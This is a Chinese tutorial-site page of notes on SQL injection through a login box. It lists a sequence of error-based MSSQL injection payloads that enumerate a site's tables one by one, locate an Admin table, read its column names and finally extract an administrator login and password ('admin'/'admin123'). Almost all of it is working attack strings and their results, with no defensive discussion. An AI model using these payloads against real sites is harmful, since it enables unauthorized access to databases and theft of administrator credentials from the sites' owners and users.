网站地图    收藏   

主页 > 后端 > 网站安全 >

登录框注入笔记 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 1#39; and 1=convert(int,(select top 1 name from sysobjects where xtype=#39;U#39;)) and #39;1#39;=#39;1首先:select top 1 name form sysobjects where xtype=#39;U#39;用来查数......

1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U')) and '1'='1
首先:select top 1 name form sysobjects where xtype='U'用来查数据库中的用户表
说明存在sysdiagrams 这个表
1' and 1=(select top 1 name from sysobjects where xtype='U') and '1' ='1
 
sysdiagrams
 
1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams')) and '1' ='1
表:Commonness
 
继续:1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness')) and '1' ='1
表:Bargain
go on :1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain')) and '1' ='1
表:ValidationReport
继续:1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport')) and '1' ='1
 
表:Examine
继续:1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine')) and '1' ='1
表:OpinionBook
1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook')) and '1' ='1
表:ProjectInformation
1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation')) and '1' ='1
表:Company
1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company')) and '1' ='1
表:yinfu
 
1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu')) and '1' ='1
 
表:NewsType
1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu','NewsType')) and '1' ='1
表:AdminType
1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('sysdiagrams','Commonness','Bargain','ValidationReport','Examine','OpinionBook','ProjectInformation','Company','yinfu','NewsType','AdminType')) and '1' ='1
表:Admin
1' and 1=convert(int,(select top 1 col_name(object_id ('Admin'),1) from Admin)) and '1'='1
1'and 1= (select top 1 col_name(object_id('admin'),1) from Admin) and '1'='1
列:ID www.2cto.com
1'and 1= (select top 1 col_name(object_id('admin'),2) from Admin) and '1'='1
列:LoginName
1'and 1= (select top 1 col_name(object_id('admin'),3) from Admin) and '1'='1
列:Passward
1' and 1=convert(int,(select top 1 LoginName from Admin)) and '1'='1
admin
1'and 1=(select top 1 Passward from Admin) and '1'='1
admin123

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论